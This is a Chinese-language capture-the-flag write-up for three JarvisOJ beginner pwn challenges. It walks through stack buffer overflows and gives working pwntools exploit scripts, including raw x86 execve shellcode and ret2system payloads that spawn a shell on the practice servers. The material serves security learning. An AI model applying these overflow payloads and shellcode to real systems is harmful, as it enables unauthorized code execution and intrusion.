JarvisOJ-PWN

0x00 XMAN-LEVEL0

IDA-F5,稍微浏览一下就能到关键的vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

很明显的一个栈溢出
但是checksec一下会发现开了NX,就是说不能无脑的放一个shellcode跳回来执行,这时候就考虑一下有没有可以利用的函数
再看一眼IDA 有一个callsystem函数,会执行system(‘/bin/sh’)
现在就很明确了
溢出,修改RIP,跳转到callsystem即可
这里有一点要注意,payload并不是'A'*0x80+p64(RET_ADDRESS),因为vulnerable_function这个函数返回时会调用read()

1
return read(0, &buf, 0x200uLL);

会先push当前函数的RBP入栈保存现场,之后才是开辟0x80个空间的buf
所以会在buf的空间后面用8个字节保存vulnerable_function$RBP
因此实际的payload是'A'*0x88+p64(RET_ADDRESS)

1
2
3
4
5
6
7
8
from pwn import *
#p=process('./level0')
p=remote('pwn2.jarvisoj.com',9881)
call_addr=0x400596
payload='A'*0x88+p64(call_addr)
print payload
p.send(payload)
p.interactive()

0x01 XMAN-LEVEL1

IDA-F5 找到vulnerable_function()

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

一看就是个栈溢出
printf会打印出buf的地址
所以就覆盖$EIP跳到buf
这里和LEVEL0一样,要考虑vulnerable_function()$EBP,因为这个ELF是32位的程序,所以地址是4字节长度的地址
这里在buf里放一个shellcode,shellcode从exploit-db上找一个就行
最后的payload=shellcode+'A'*(0x8C-len(shellcode))+p32(buf_address)

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#p=process('./level1')
p=remote('pwn2.jarvisoj.com',9877)
text=p.recv()
print text
buf_addr=int(text[12:22],16)
print'buf address=:' +hex(buf_addr)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode+'A'*(0x8c-len(shellcode))+p32(buf_addr)
p.send(payload)
p.interactive()

0x02 XMAN-LEVEL2

IDA-F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

同样是明显栈溢出,但是和前两道有点区别
函数里直接使用了system(),这里最开始想的是把system("echo 'Hello World!'")替换成system("/bin/sh");,但是感觉有点麻烦,翻了一下函数列表,有system(),再shift+F12翻一下,能找到0X0804A024处有'/bin/sh'
那么就换一种思路,修改返回地址到system(),传入'/bin/sh'并运行
但是有一点要注意,调用system()之后要先传入一个返回地址(随便填即可),再传入'/bin/sh'才行
payload='A'*0x8C+p32(system_addr)+'A'*4+p32(binsh_addr)

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#p=process('./level2')
p=remote('pwn2.jarvisoj.com',9878)
level2=ELF('./level2')
print p.recv()
binsh_addr=0x0804A024
system_addr=level2.plt['system']
print hex(system_addr)
payload='A'*0x8C+p32(system_addr)+'A'*4+p32(binsh_addr)
p.send(payload)
p.interactive()